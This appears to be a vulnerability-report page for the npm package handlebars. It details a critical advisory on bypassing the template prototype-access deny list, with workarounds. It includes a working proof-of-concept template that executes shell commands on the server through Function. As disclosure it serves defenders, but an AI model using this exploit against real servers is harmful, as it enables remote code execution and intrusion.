npm package report

Is handlebars safe?

24 known vulnerabilities, worst severity CRITICAL.

// reach

9 direct dependencies

3 carry known advisories, worst CRITICAL

199 packages depend on it

an advisory here reaches each of them

  • broccoli
  • grunt
Create a free accountfor every dependency path, dependent and what to upgrade
// ai model usage

Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


cvss
9.2
critical

CVSS v4.0 base score out of 10

epss
0.59%
medium

chance of exploitation in 30 days, 48th percentile of all CVEs

xyz score
5.4
medium

CyberXYZ composite out of 10

fig. 01 — GHSA-p8wg-vrv2-v86f, the advisory selected below

// 24 advisories

GHSA-p8wg-vrv2-v86f

CRITICALGitHub ratingCVE-2026-106445
// summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

// description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

// proof of concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

  • Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
  • Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
  • Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).
const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)
// workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.

// cvss v4.0 vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Checked 2026-11-06 at 20:21 UTC. The most recent advisory here was published 2026-10-08. Updated continuously from NVD, GHSA, OSV and CNA feeds.

Think a verdict here is wrong? Tell us — we respond within 2 business days.